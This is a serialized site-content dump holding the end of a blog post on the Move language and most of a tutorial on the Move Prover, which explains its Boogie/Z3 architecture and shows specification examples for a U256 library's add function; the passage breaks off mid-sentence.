result",{"type":24,"tag":147,"props":14784,"children":14785},{"style":235},[14786],{"type":29,"value":9358},{"type":24,"tag":147,"props":14788,"children":14789},{"style":247},[14790],{"type":29,"value":14281},{"type":24,"tag":147,"props":14792,"children":14793},{"style":235},[14794],{"type":29,"value":14286},{"type":24,"tag":147,"props":14796,"children":14797},{"style":241},[14798],{"type":29,"value":6600},{"type":24,"tag":147,"props":14800,"children":14801},{"style":247},[14802],{"type":29,"value":14295},{"type":24,"tag":147,"props":14804,"children":14805},{"style":235},[14806],{"type":29,"value":9358},{"type":24,"tag":147,"props":14808,"children":14809},{"style":247},[14810],{"type":29,"value":14281},{"type":24,"tag":147,"props":14812,"children":14813},{"style":235},[14814],{"type":29,"value":14286},{"type":24,"tag":147,"props":14816,"children":14817},{"style":241},[14818],{"type":29,"value":244},{"type":24,"tag":147,"props":14820,"children":14821},{"style":229},[14822],{"type":29,"value":14183},{"type":24,"tag":147,"props":14824,"children":14825},{"style":235},[14826],{"type":29,"value":480},{"type":24,"tag":147,"props":14828,"children":14829},{"style":247},[14830],{"type":29,"value":13992},{"type":24,"tag":147,"props":14832,"children":14833},{"style":235},[14834],{"type":29,"value":1473},{"type":24,"tag":147,"props":14836,"children":14837},{"class":149,"line":715},[14838],{"type":24,"tag":147,"props":14839,"children":14840},{"style":235},[14841],{"type":29,"value":11496},{"type":24,"tag":32,"props":14843,"children":14844},{"id":10934},[14845],{"type":29,"value":10937},{"type":24,"tag":25,"props":14847,"children":14848},{},[14849],{"type":29,"value":14850},"In this post, we explored implications of Move's type system and formal verification, two powerful features of the Move language that enable safer programming languages.",{"type":24,"tag":25,"props":14852,"children":14853},{},[14854],{"type":29,"value":14855},"While Move as a language is still a language in active development, it shows some exciting features that seem allows developers to create structurally safer programs.",{"type":24,"tag":25,"props":14857,"children":14858},{},[14859,14861,14868],{"type":29,"value":14860},"We're passionate about pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":24,"tag":2773,"props":14862,"children":14865},{"href":14863,"rel":14864},"https://twitter.com/notdeghost/",[2777],[14866],{"type":29,"value":14867},"@notdeghost",{"type":29,"value":87},{"type":24,"tag":8473,"props":14870,"children":14871},{},[14872],{"type":29,"value":8477},{"title":7,"searchDepth":160,"depth":160,"links":14874},[14875,14876,14877],{"id":11383,"depth":160,"text":11386},{"id":13422,"depth":160,"text":13425},{"id":10934,"depth":160,"text":10937},"content:blog:2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction",{"_path":14882,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":14883,"description":14884,"author":11344,"image":14885,"date":14888,"isFeatured":16,"tags":14889,"onBlogPage":16,"body":14892,"_type":8496,"_id":19230,"_source":8498,"_file":19231,"_stem":19232,"_extension":8501},"/blog/2022-09-16-move-prover","The Move Prover: A Guide","A practical guide to the Move Prover - tutorial, case study, and specifications.",{"src":14886,"height":14887,"width":11348},"/posts/move-prover/move-prover-title.jpg",1019,"2022-09-16",[14890,14891],"move","tutorial",{"type":21,"children":14893,"toc":19216},[14894,14913,14925,14931,14936,14941,14946,14955,14960,14974,14979,14985,14990,15004,15009,15145,15158,15163,15184,15218,15229,15234,15239,15249,15262,15604,15618,15636,15681,15694,15713,15885,15890,15895,15920,15925,16524,16536,16548,16553,16567,16572,16585,16625,16630,16662,16667,16672,16685,17070,17097,17304,17309,17321,17558,17563,17571,17590,17937,17942,18099,18104,18111,18125,18131,18136,18141,18147,18160,18392,18398,18403,18423,18691,18696,18702,18714,18719,18733,18739,18775,18875,18896,18902,18907,18912,19164,19169,19187,19191,19196,19201,19212],{"type":24,"tag":25,"props":14895,"children":14896},{},[14897,14899,14904,14906,14911],{"type":29,"value":14898},"Formal verification -- a powerful tool for ",{"type":24,"tag":8545,"props":14900,"children":14901},{},[14902],{"type":29,"value":14903},"proving",{"type":29,"value":14905}," the correctness of your programs. How does it ",{"type":24,"tag":8545,"props":14907,"children":14908},{},[14909],{"type":29,"value":14910},"actually",{"type":29,"value":14912}," work? This blog post will provide practical tips to help you use the Move Prover to its fullest potential, as well as explore a real-world example of how we used formal verification to secure a smart contract.",{"type":24,"tag":25,"props":14914,"children":14915},{},[14916,14918,14923],{"type":29,"value":14917},"At a high level, formal verification allows you to provide a specification for the program. This specification is then checked against symbolic inputs, allowing you to prove that your code follows the specification for ",{"type":24,"tag":8545,"props":14919,"children":14920},{},[14921],{"type":29,"value":14922},"all",{"type":29,"value":14924}," possible inputs.",{"type":24,"tag":32,"props":14926,"children":14928},{"id":14927},"move-prover",[14929],{"type":29,"value":14930},"Move Prover",{"type":24,"tag":25,"props":14932,"children":14933},{},[14934],{"type":29,"value":14935},"The Move Prover is an automated tool that allows developers to formally verify smart contracts written in the Move programming language.",{"type":24,"tag":25,"props":14937,"children":14938},{},[14939],{"type":29,"value":14940},"Move was primarily designed to facilitate automatic verification. Interestingly, the Move Prove operates on the Move bytecode itself, avoiding potential compiler bugs from interfering with prover correctness.",{"type":24,"tag":25,"props":14942,"children":14943},{},[14944],{"type":29,"value":14945},"The architecture of the tool consists of multiple components as illustrated below.",{"type":24,"tag":25,"props":14947,"children":14948},{},[14949],{"type":24,"tag":63,"props":14950,"children":14954},{"alt":14951,"src":14952,"title":14953},"Move Prover arch","https://i.imgur.com/ti4vkTu.png","Move Prover Architecture",[],{"type":24,"tag":25,"props":14956,"children":14957},{},[14958],{"type":29,"value":14959},"First, the Move prover receives a Move source file (an input) that contains specifications of the intended behavior of the program. Those specifications are then extracted from the annotated source by the Move Parser. Consequently, the tool compiles the source code into Move bytecode which is verified and converted into a prover object model plus the specification system \"blueprint\".",{"type":24,"tag":25,"props":14961,"children":14962},{},[14963,14965,14972],{"type":29,"value":14964},"The model is translated into an intermediate language, called ",{"type":24,"tag":2773,"props":14966,"children":14969},{"href":14967,"rel":14968},"https://www.microsoft.com/en-us/research/project/boogie-an-intermediate-verification-language/",[2777],[14970],{"type":29,"value":14971},"Boogie",{"type":29,"value":14973},". This Boogie code is then passed to the Boogie verification system which generates the input for the solver using a \"verification condition generation\". The verification condition (VC) is passed to an automated theorem prover (Z3).",{"type":24,"tag":25,"props":14975,"children":14976},{},[14977],{"type":29,"value":14978},"Once the VC is passed to the Z3, the prover checks if the SMT formula is unsatisfiable. If so, it means that the specifications hold. Otherwise, a model that satisfies the conditions is generated and converted back into Boogie format in order to issue a diagnosis report. The diagnosis report is then reverted to a source-level error which parallels a standard compiler error.",{"type":24,"tag":32,"props":14980,"children":14982},{"id":14981},"move-specification-language",[14983],{"type":29,"value":14984},"Move Specification Language",{"type":24,"tag":25,"props":14986,"children":14987},{},[14988],{"type":29,"value":14989},"Move MSL is a subset of the Move Language, which introduces support to statically describe the behavior about the correctness of a program with no implications on production.",{"type":24,"tag":25,"props":14991,"children":14992},{},[14993,14995,15002],{"type":29,"value":14994},"To better understand how to use the MSL, we will use ",{"type":24,"tag":2773,"props":14996,"children":14999},{"href":14997,"rel":14998},"https://github.com/pontem-network/u256",[2777],[15000],{"type":29,"value":15001},"Pontem's U256 library",{"type":29,"value":15003},", an open source Move library which implements support for U256 numbers, as a case study.",{"type":24,"tag":25,"props":15005,"children":15006},{},[15007],{"type":29,"value":15008},"The U256 number is implemented as a struct which contains 4 u64 numbers.",{"type":24,"tag":137,"props":15010,"children":15012},{"code":15011,"language":8613,"meta":7,"className":8614,"style":7},"struct U256 has copy, drop, store {\n    v0: u64,\n    v1: u64,\n    v2: u64,\n    v3: u64,\n}\n",[15013],{"type":24,"tag":80,"props":15014,"children":15015},{"__ignoreMap":7},[15016,15058,15078,15098,15118,15138],{"type":24,"tag":147,"props":15017,"children":15018},{"class":149,"line":150},[15019,15023,15027,15032,15037,15041,15046,15050,15054],{"type":24,"tag":147,"props":15020,"children":15021},{"style":218},[15022],{"type":29,"value":993},{"type":24,"tag":147,"props":15024,"children":15025},{"style":9044},[15026],{"type":29,"value":10354},{"type":24,"tag":147,"props":15028,"children":15029},{"style":247},[15030],{"type":29,"value":15031}," has",{"type":24,"tag":147,"props":15033,"children":15034},{"style":247},[15035],{"type":29,"value":15036}," copy",{"type":24,"tag":147,"props":15038,"children":15039},{"style":235},[15040],{"type":29,"value":546},{"type":24,"tag":147,"props":15042,"children":15043},{"style":247},[15044],{"type":29,"value":15045},"drop",{"type":24,"tag":147,"props":15047,"children":15048},{"style":235},[15049],{"type":29,"value":546},{"type":24,"tag":147,"props":15051,"children":15052},{"style":247},[15053],{"type":29,"value":11565},{"type":24,"tag":147,"props":15055,"children":15056},{"style":235},[15057],{"type":29,"value":6630},{"type":24,"tag":147,"props":15059,"children":15060},{"class":149,"line":160},[15061,15066,15070,15074],{"type":24,"tag":147,"props":15062,"children":15063},{"style":247},[15064],{"type":29,"value":15065},"    v0",{"type":24,"tag":147,"props":15067,"children":15068},{"style":241},[15069],{"type":29,"value":978},{"type":24,"tag":147,"props":15071,"children":15072},{"style":9044},[15073],{"type":29,"value":11484},{"type":24,"tag":147,"props":15075,"children":15076},{"style":235},[15077],{"type":29,"value":1549},{"type":24,"tag":147,"props":15079,"children":15080},{"class":149,"line":169},[15081,15086,15090,15094],{"type":24,"tag":147,"props":15082,"children":15083},{"style":247},[15084],{"type":29,"value":15085},"    v1",{"type":24,"tag":147,"props":15087,"children":15088},{"style":241},[15089],{"type":29,"value":978},{"type":24,"tag":147,"props":15091,"children":15092},{"style":9044},[15093],{"type":29,"value":11484},{"type":24,"tag":147,"props":15095,"children":15096},{"style":235},[15097],{"type":29,"value":1549},{"type":24,"tag":147,"props":15099,"children":15100},{"class":149,"line":178},[15101,15106,15110,15114],{"type":24,"tag":147,"props":15102,"children":15103},{"style":247},[15104],{"type":29,"value":15105},"    v2",{"type":24,"tag":147,"props":15107,"children":15108},{"style":241},[15109],{"type":29,"value":978},{"type":24,"tag":147,"props":15111,"children":15112},{"style":9044},[15113],{"type":29,"value":11484},{"type":24,"tag":147,"props":15115,"children":15116},{"style":235},[15117],{"type":29,"value":1549},{"type":24,"tag":147,"props":15119,"children":15120},{"class":149,"line":187},[15121,15126,15130,15134],{"type":24,"tag":147,"props":15122,"children":15123},{"style":247},[15124],{"type":29,"value":15125},"    v3",{"type":24,"tag":147,"props":15127,"children":15128},{"style":241},[15129],{"type":29,"value":978},{"type":24,"tag":147,"props":15131,"children":15132},{"style":9044},[15133],{"type":29,"value":11484},{"type":24,"tag":147,"props":15135,"children":15136},{"style":235},[15137],{"type":29,"value":1549},{"type":24,"tag":147,"props":15139,"children":15140},{"class":149,"line":196},[15141],{"type":24,"tag":147,"props":15142,"children":15143},{"style":235},[15144],{"type":29,"value":827},{"type":24,"tag":25,"props":15146,"children":15147},{},[15148,15150,15156],{"type":29,"value":15149},"Now, let's consider the ",{"type":24,"tag":80,"props":15151,"children":15153},{"className":15152},[],[15154],{"type":29,"value":15155},"add(a: U256, b: U256): U256",{"type":29,"value":15157}," function. In order to verify the correctness of such a function, it might be useful to verify some of the group axioms, for example: commutativity and associativity.",{"type":24,"tag":25,"props":15159,"children":15160},{},[15161],{"type":29,"value":15162},"Specifications are declared in a specification block, which can be found in Move functions, as module member, or in a different file as a separate specification module.",{"type":24,"tag":25,"props":15164,"children":15165},{},[15166,15168,15174,15176,15183],{"type":29,"value":15167},"For example, if your file is ",{"type":24,"tag":80,"props":15169,"children":15171},{"className":15170},[],[15172],{"type":29,"value":15173},"sources/u256.move",{"type":29,"value":15175},", you can put specifications in ",{"type":24,"tag":2773,"props":15177,"children":15180},{"href":15178,"rel":15179},"https://github.com/pontem-network/u256/blob/main/sources/u256.spec.move",[2777],[15181],{"type":29,"value":15182},"sources/u256.spec.move",{"type":29,"value":87},{"type":24,"tag":137,"props":15185,"children":15187},{"code":15186,"language":8613,"meta":7,"className":8614,"style":7},"spec add { ... }\n",[15188],{"type":24,"tag":80,"props":15189,"children":15190},{"__ignoreMap":7},[15191],{"type":24,"tag":147,"props":15192,"children":15193},{"class":149,"line":150},[15194,15198,15203,15208,15213],{"type":24,"tag":147,"props":15195,"children":15196},{"style":247},[15197],{"type":29,"value":13901},{"type":24,"tag":147,"props":15199,"children":15200},{"style":247},[15201],{"type":29,"value":15202}," add",{"type":24,"tag":147,"props":15204,"children":15205},{"style":235},[15206],{"type":29,"value":15207}," { ",{"type":24,"tag":147,"props":15209,"children":15210},{"style":241},[15211],{"type":29,"value":15212},"...",{"type":24,"tag":147,"props":15214,"children":15215},{"style":235},[15216],{"type":29,"value":15217}," }\n",{"type":24,"tag":25,"props":15219,"children":15220},{},[15221,15223,15228],{"type":29,"value":15222},"The specifications placed inside the specification blocks are considered ",{"type":24,"tag":8545,"props":15224,"children":15225},{},[15226],{"type":29,"value":15227},"Expressions",{"type":29,"value":87},{"type":24,"tag":43,"props":15230,"children":15232},{"id":15231},"expressions",[15233],{"type":29,"value":15227},{"type":24,"tag":25,"props":15235,"children":15236},{},[15237],{"type":29,"value":15238},"Let's go over some common expressions.",{"type":24,"tag":25,"props":15240,"children":15241},{},[15242,15247],{"type":24,"tag":80,"props":15243,"children":15245},{"className":15244},[],[15246],{"type":29,"value":13950},{"type":29,"value":15248}," defines when the function can abort. This is especially useful in the context of smart contract development, where an abort would cause the entire transaction to rollback.",{"type":24,"tag":25,"props":15250,"children":15251},{},[15252,15254,15260],{"type":29,"value":15253},"For example, the ",{"type":24,"tag":80,"props":15255,"children":15257},{"className":15256},[],[15258],{"type":29,"value":15259},"add",{"type":29,"value":15261}," function aborts if and only if the U256 addition overflows. Let's put these words into an expression:",{"type":24,"tag":137,"props":15263,"children":15265},{"code":15264,"language":8613,"meta":7,"className":8614,"style":7},"const P64: u128 = 0x10000000000000000;\n\nspec fun value_of_U256(a: U256): num {\n    a.v0 +\n    a.v1 * P64 +\n    a.v2 * P64 * P64 +\n    a.v3 * P64 * P64 * P64\n}\n\nspec add {\n    aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n}\n",[15266],{"type":24,"tag":80,"props":15267,"children":15268},{"__ignoreMap":7},[15269,15303,15310,15359,15381,15410,15446,15487,15494,15501,15516,15597],{"type":24,"tag":147,"props":15270,"children":15271},{"class":149,"line":150},[15272,15277,15282,15286,15290,15294,15299],{"type":24,"tag":147,"props":15273,"children":15274},{"style":218},[15275],{"type":29,"value":15276},"const",{"type":24,"tag":147,"props":15278,"children":15279},{"style":235},[15280],{"type":29,"value":15281}," P64",{"type":24,"tag":147,"props":15283,"children":15284},{"style":241},[15285],{"type":29,"value":978},{"type":24,"tag":147,"props":15287,"children":15288},{"style":9044},[15289],{"type":29,"value":14472},{"type":24,"tag":147,"props":15291,"children":15292},{"style":241},[15293],{"type":29,"value":651},{"type":24,"tag":147,"props":15295,"children":15296},{"style":705},[15297],{"type":29,"value":15298}," 0x10000000000000000",{"type":24,"tag":147,"props":15300,"children":15301},{"style":235},[15302],{"type":29,"value":432},{"type":24,"tag":147,"props":15304,"children":15305},{"class":149,"line":160},[15306],{"type":24,"tag":147,"props":15307,"children":15308},{"emptyLinePlaceholder":16},[15309],{"type":29,"value":314},{"type":24,"tag":147,"props":15311,"children":15312},{"class":149,"line":169},[15313,15317,15321,15326,15330,15334,15338,15342,15346,15350,15355],{"type":24,"tag":147,"props":15314,"children":15315},{"style":247},[15316],{"type":29,"value":13901},{"type":24,"tag":147,"props":15318,"children":15319},{"style":247},[15320],{"type":29,"value":11832},{"type":24,"tag":147,"props":15322,"children":15323},{"style":229},[15324],{"type":29,"value":15325}," value_of_U256",{"type":24,"tag":147,"props":15327,"children":15328},{"style":235},[15329],{"type":29,"value":480},{"type":24,"tag":147,"props":15331,"children":15332},{"style":247},[15333],{"type":29,"value":2773},{"type":24,"tag":147,"props":15335,"children":15336},{"style":241},[15337],{"type":29,"value":978},{"type":24,"tag":147,"props":15339,"children":15340},{"style":9044},[15341],{"type":29,"value":10354},{"type":24,"tag":147,"props":15343,"children":15344},{"style":235},[15345],{"type":29,"value":8758},{"type":24,"tag":147,"props":15347,"children":15348},{"style":241},[15349],{"type":29,"value":978},{"type":24,"tag":147,"props":15351,"children":15352},{"style":247},[15353],{"type":29,"value":15354}," num",{"type":24,"tag":147,"props":15356,"children":15357},{"style":235},[15358],{"type":29,"value":6630},{"type":24,"tag":147,"props":15360,"children":15361},{"class":149,"line":178},[15362,15367,15371,15376],{"type":24,"tag":147,"props":15363,"children":15364},{"style":247},[15365],{"type":29,"value":15366},"    a",{"type":24,"tag":147,"props":15368,"children":15369},{"style":241},[15370],{"type":29,"value":87},{"type":24,"tag":147,"props":15372,"children":15373},{"style":235},[15374],{"type":29,"value":15375},"v0 ",{"type":24,"tag":147,"props":15377,"children":15378},{"style":241},[15379],{"type":29,"value":15380},"+\n",{"type":24,"tag":147,"props":15382,"children":15383},{"class":149,"line":187},[15384,15388,15392,15397,15401,15405],{"type":24,"tag":147,"props":15385,"children":15386},{"style":247},[15387],{"type":29,"value":15366},{"type":24,"tag":147,"props":15389,"children":15390},{"style":241},[15391],{"type":29,"value":87},{"type":24,"tag":147,"props":15393,"children":15394},{"style":235},[15395],{"type":29,"value":15396},"v1 ",{"type":24,"tag":147,"props":15398,"children":15399},{"style":241},[15400],{"type":29,"value":244},{"type":24,"tag":147,"props":15402,"children":15403},{"style":9044},[15404],{"type":29,"value":15281},{"type":24,"tag":147,"props":15406,"children":15407},{"style":241},[15408],{"type":29,"value":15409}," +\n",{"type":24,"tag":147,"props":15411,"children":15412},{"class":149,"line":196},[15413,15417,15421,15426,15430,15434,15438,15442],{"type":24,"tag":147,"props":15414,"children":15415},{"style":247},[15416],{"type":29,"value":15366},{"type":24,"tag":147,"props":15418,"children":15419},{"style":241},[15420],{"type":29,"value":87},{"type":24,"tag":147,"props":15422,"children":15423},{"style":235},[15424],{"type":29,"value":15425},"v2 ",{"type":24,"tag":147,"props":15427,"children":15428},{"style":241},[15429],{"type":29,"value":244},{"type":24,"tag":147,"props":15431,"children":15432},{"style":9044},[15433],{"type":29,"value":15281},{"type":24,"tag":147,"props":15435,"children":15436},{"style":241},[15437],{"type":29,"value":1263},{"type":24,"tag":147,"props":15439,"children":15440},{"style":9044},[15441],{"type":29,"value":15281},{"type":24,"tag":147,"props":15443,"children":15444},{"style":241},[15445],{"type":29,"value":15409},{"type":24,"tag":147,"props":15447,"children":15448},{"class":149,"line":205},[15449,15453,15457,15462,15466,15470,15474,15478,15482],{"type":24,"tag":147,"props":15450,"children":15451},{"style":247},[15452],{"type":29,"value":15366},{"type":24,"tag":147,"props":15454,"children":15455},{"style":241},[15456],{"type":29,"value":87},{"type":24,"tag":147,"props":15458,"children":15459},{"style":235},[15460],{"type":29,"value":15461},"v3 ",{"type":24,"tag":147,"props":15463,"children":15464},{"style":241},[15465],{"type":29,"value":244},{"type":24,"tag":147,"props":15467,"children":15468},{"style":9044},[15469],{"type":29,"value":15281},{"type":24,"tag":147,"props":15471,"children":15472},{"style":241},[15473],{"type":29,"value":1263},{"type":24,"tag":147,"props":15475,"children":15476},{"style":9044},[15477],{"type":29,"value":15281},{"type":24,"tag":147,"props":15479,"children":15480},{"style":241},[15481],{"type":29,"value":1263},{"type":24,"tag":147,"props":15483,"children":15484},{"style":9044},[15485],{"type":29,"value":15486}," P64\n",{"type":24,"tag":147,"props":15488,"children":15489},{"class":149,"line":214},[15490],{"type":24,"tag":147,"props":15491,"children":15492},{"style":235},[15493],{"type":29,"value":827},{"type":24,"tag":147,"props":15495,"children":15496},{"class":149,"line":272},[15497],{"type":24,"tag":147,"props":15498,"children":15499},{"emptyLinePlaceholder":16},[15500],{"type":29,"value":314},{"type":24,"tag":147,"props":15502,"children":15503},{"class":149,"line":281},[15504,15508,15512],{"type":24,"tag":147,"props":15505,"children":15506},{"style":247},[15507],{"type":29,"value":13901},{"type":24,"tag":147,"props":15509,"children":15510},{"style":247},[15511],{"type":29,"value":15202},{"type":24,"tag":147,"props":15513,"children":15514},{"style":235},[15515],{"type":29,"value":6630},{"type":24,"tag":147,"props":15517,"children":15518},{"class":149,"line":299},[15519,15524,15528,15532,15536,15540,15544,15548,15552,15556,15560,15565,15569,15573,15577,15581,15585,15589,15593],{"type":24,"tag":147,"props":15520,"children":15521},{"style":247},[15522],{"type":29,"value":15523},"    aborts_if",{"type":24,"tag":147,"props":15525,"children":15526},{"style":229},[15527],{"type":29,"value":15325},{"type":24,"tag":147,"props":15529,"children":15530},{"style":235},[15531],{"type":29,"value":480},{"type":24,"tag":147,"props":15533,"children":15534},{"style":247},[15535],{"type":29,"value":2773},{"type":24,"tag":147,"props":15537,"children":15538},{"style":235},[15539],{"type":29,"value":564},{"type":24,"tag":147,"props":15541,"children":15542},{"style":241},[15543],{"type":29,"value":624},{"type":24,"tag":147,"props":15545,"children":15546},{"style":229},[15547],{"type":29,"value":15325},{"type":24,"tag":147,"props":15549,"children":15550},{"style":235},[15551],{"type":29,"value":480},{"type":24,"tag":147,"props":15553,"children":15554},{"style":247},[15555],{"type":29,"value":8852},{"type":24,"tag":147,"props":15557,"children":15558},{"style":235},[15559],{"type":29,"value":564},{"type":24,"tag":147,"props":15561,"children":15562},{"style":241},[15563],{"type":29,"value":15564},">=",{"type":24,"tag":147,"props":15566,"children":15567},{"style":9044},[15568],{"type":29,"value":15281},{"type":24,"tag":147,"props":15570,"children":15571},{"style":241},[15572],{"type":29,"value":1263},{"type":24,"tag":147,"props":15574,"children":15575},{"style":9044},[15576],{"type":29,"value":15281},{"type":24,"tag":147,"props":15578,"children":15579},{"style":241},[15580],{"type":29,"value":1263},{"type":24,"tag":147,"props":15582,"children":15583},{"style":9044},[15584],{"type":29,"value":15281},{"type":24,"tag":147,"props":15586,"children":15587},{"style":241},[15588],{"type":29,"value":1263},{"type":24,"tag":147,"props":15590,"children":15591},{"style":9044},[15592],{"type":29,"value":15281},{"type":24,"tag":147,"props":15594,"children":15595},{"style":235},[15596],{"type":29,"value":432},{"type":24,"tag":147,"props":15598,"children":15599},{"class":149,"line":308},[15600],{"type":24,"tag":147,"props":15601,"children":15602},{"style":235},[15603],{"type":29,"value":827},{"type":24,"tag":25,"props":15605,"children":15606},{},[15607,15609,15616],{"type":29,"value":15608},"We can observe in the snippet above, that we are allowed to call functions inside the spec block. However, the callee must either be an ",{"type":24,"tag":2773,"props":15610,"children":15613},{"href":15611,"rel":15612},"https://github.com/move-language/move/blob/f7d5b1a3f4d622c17f540190fa4fa12323cb0bb8/language/move-prover/doc/user/spec-lang.md#builtin-functions",[2777],[15614],{"type":29,"value":15615},"MSL function",{"type":29,"value":15617},", or a pure Move function. A pure Move function can be defined as a function that does not modify the global state or use Move expression features unsupported by MSL.",{"type":24,"tag":25,"props":15619,"children":15620},{},[15621,15623,15628,15629,15634],{"type":29,"value":15622},"A common pattern for ",{"type":24,"tag":80,"props":15624,"children":15626},{"className":15625},[],[15627],{"type":29,"value":13950},{"type":29,"value":5819},{"type":24,"tag":80,"props":15630,"children":15632},{"className":15631},[],[15633],{"type":29,"value":13958},{"type":29,"value":15635},", which lets you prove that a function will never abort.",{"type":24,"tag":137,"props":15637,"children":15639},{"code":15638,"language":8613,"meta":7,"className":8614,"style":7},"spec critical_function {\n    aborts_if false;\n}\n",[15640],{"type":24,"tag":80,"props":15641,"children":15642},{"__ignoreMap":7},[15643,15659,15674],{"type":24,"tag":147,"props":15644,"children":15645},{"class":149,"line":150},[15646,15650,15655],{"type":24,"tag":147,"props":15647,"children":15648},{"style":247},[15649],{"type":29,"value":13901},{"type":24,"tag":147,"props":15651,"children":15652},{"style":247},[15653],{"type":29,"value":15654}," critical_function",{"type":24,"tag":147,"props":15656,"children":15657},{"style":235},[15658],{"type":29,"value":6630},{"type":24,"tag":147,"props":15660,"children":15661},{"class":149,"line":160},[15662,15666,15670],{"type":24,"tag":147,"props":15663,"children":15664},{"style":247},[15665],{"type":29,"value":15523},{"type":24,"tag":147,"props":15667,"children":15668},{"style":218},[15669],{"type":29,"value":14682},{"type":24,"tag":147,"props":15671,"children":15672},{"style":235},[15673],{"type":29,"value":432},{"type":24,"tag":147,"props":15675,"children":15676},{"class":149,"line":169},[15677],{"type":24,"tag":147,"props":15678,"children":15679},{"style":235},[15680],{"type":29,"value":827},{"type":24,"tag":25,"props":15682,"children":15683},{},[15684,15686,15692],{"type":29,"value":15685},"Another type of expression that we can use is ",{"type":24,"tag":80,"props":15687,"children":15689},{"className":15688},[],[15690],{"type":29,"value":15691},"ensures",{"type":29,"value":15693},". As the name suggests, it ensures that a certain condition is true at the end of a function's execution.",{"type":24,"tag":25,"props":15695,"children":15696},{},[15697,15699,15704,15706,15711],{"type":29,"value":15698},"In the case of the ",{"type":24,"tag":80,"props":15700,"children":15702},{"className":15701},[],[15703],{"type":29,"value":15259},{"type":29,"value":15705}," function, we want to ensure that the return value is the sum of the 2 parameters. Note that because ",{"type":24,"tag":10949,"props":15707,"children":15708},{},[15709],{"type":29,"value":15710},"MSL uses unbounded numbers",{"type":29,"value":15712},", we're able to very cleanly express this property without worrying about overflows.",{"type":24,"tag":137,"props":15714,"children":15716},{"code":15715,"language":8613,"meta":7,"className":8614,"style":7},"spec add {\n    aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n    ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n}\n",[15717],{"type":24,"tag":80,"props":15718,"children":15719},{"__ignoreMap":7},[15720,15735,15814,15878],{"type":24,"tag":147,"props":15721,"children":15722},{"class":149,"line":150},[15723,15727,15731],{"type":24,"tag":147,"props":15724,"children":15725},{"style":247},[15726],{"type":29,"value":13901},{"type":24,"tag":147,"props":15728,"children":15729},{"style":247},[15730],{"type":29,"value":15202},{"type":24,"tag":147,"props":15732,"children":15733},{"style":235},[15734],{"type":29,"value":6630},{"type":24,"tag":147,"props":15736,"children":15737},{"class":149,"line":160},[15738,15742,15746,15750,15754,15758,15762,15766,15770,15774,15778,15782,15786,15790,15794,15798,15802,15806,15810],{"type":24,"tag":147,"props":15739,"children":15740},{"style":247},[15741],{"type":29,"value":15523},{"type":24,"tag":147,"props":15743,"children":15744},{"style":229},[15745],{"type":29,"value":15325},{"type":24,"tag":147,"props":15747,"children":15748},{"style":235},[15749],{"type":29,"value":480},{"type":24,"tag":147,"props":15751,"children":15752},{"style":247},[15753],{"type":29,"value":2773},{"type":24,"tag":147,"props":15755,"children":15756},{"style":235},[15757],{"type":29,"value":564},{"type":24,"tag":147,"props":15759,"children":15760},{"style":241},[15761],{"type":29,"value":624},{"type":24,"tag":147,"props":15763,"children":15764},{"style":229},[15765],{"type":29,"value":15325},{"type":24,"tag":147,"props":15767,"children":15768},{"style":235},[15769],{"type":29,"value":480},{"type":24,"tag":147,"props":15771,"children":15772},{"style":247},[15773],{"type":29,"value":8852},{"type":24,"tag":147,"props":15775,"children":15776},{"style":235},[15777],{"type":29,"value":564},{"type":24,"tag":147,"props":15779,"children":15780},{"style":241},[15781],{"type":29,"value":15564},{"type":24,"tag":147,"props":15783,"children":15784},{"style":9044},[15785],{"type":29,"value":15281},{"type":24,"tag":147,"props":15787,"children":15788},{"style":241},[15789],{"type":29,"value":1263},{"type":24,"tag":147,"props":15791,"children":15792},{"style":9044},[15793],{"type":29,"value":15281},{"type":24,"tag":147,"props":15795,"children":15796},{"style":241},[15797],{"type":29,"value":1263},{"type":24,"tag":147,"props":15799,"children":15800},{"style":9044},[15801],{"type":29,"value":15281},{"type":24,"tag":147,"props":15803,"children":15804},{"style":241},[15805],{"type":29,"value":1263},{"type":24,"tag":147,"props":15807,"children":15808},{"style":9044},[15809],{"type":29,"value":15281},{"type":24,"tag":147,"props":15811,"children":15812},{"style":235},[15813],{"type":29,"value":432},{"type":24,"tag":147,"props":15815,"children":15816},{"class":149,"line":169},[15817,15822,15826,15830,15834,15838,15842,15846,15850,15854,15858,15862,15866,15870,15874],{"type":24,"tag":147,"props":15818,"children":15819},{"style":247},[15820],{"type":29,"value":15821},"    ensures",{"type":24,"tag":147,"props":15823,"children":15824},{"style":229},[15825],{"type":29,"value":15325},{"type":24,"tag":147,"props":15827,"children":15828},{"style":235},[15829],{"type":29,"value":480},{"type":24,"tag":147,"props":15831,"children":15832},{"style":247},[15833],{"type":29,"value":14706},{"type":24,"tag":147,"props":15835,"children":15836},{"style":235},[15837],{"type":29,"value":564},{"type":24,"tag":147,"props":15839,"children":15840},{"style":241},[15841],{"type":29,"value":6600},{"type":24,"tag":147,"props":15843,"children":15844},{"style":229},[15845],{"type":29,"value":15325},{"type":24,"tag":147,"props":15847,"children":15848},{"style":235},[15849],{"type":29,"value":480},{"type":24,"tag":147,"props":15851,"children":15852},{"style":247},[15853],{"type":29,"value":2773},{"type":24,"tag":147,"props":15855,"children":15856},{"style":235},[15857],{"type":29,"value":564},{"type":24,"tag":147,"props":15859,"children":15860},{"style":241},[15861],{"type":29,"value":624},{"type":24,"tag":147,"props":15863,"children":15864},{"style":229},[15865],{"type":29,"value":15325},{"type":24,"tag":147,"props":15867,"children":15868},{"style":235},[15869],{"type":29,"value":480},{"type":24,"tag":147,"props":15871,"children":15872},{"style":247},[15873],{"type":29,"value":8852},{"type":24,"tag":147,"props":15875,"children":15876},{"style":235},[15877],{"type":29,"value":1473},{"type":24,"tag":147,"props":15879,"children":15880},{"class":149,"line":178},[15881],{"type":24,"tag":147,"props":15882,"children":15883},{"style":235},[15884],{"type":29,"value":827},{"type":24,"tag":25,"props":15886,"children":15887},{},[15888],{"type":29,"value":15889},"Note that because Move specification functions are written in MSL, the numbers are unbounded and we can define the expression without risk of overflow.",{"type":24,"tag":25,"props":15891,"children":15892},{},[15893],{"type":29,"value":15894},"Let's try to prove the library with the specifications from 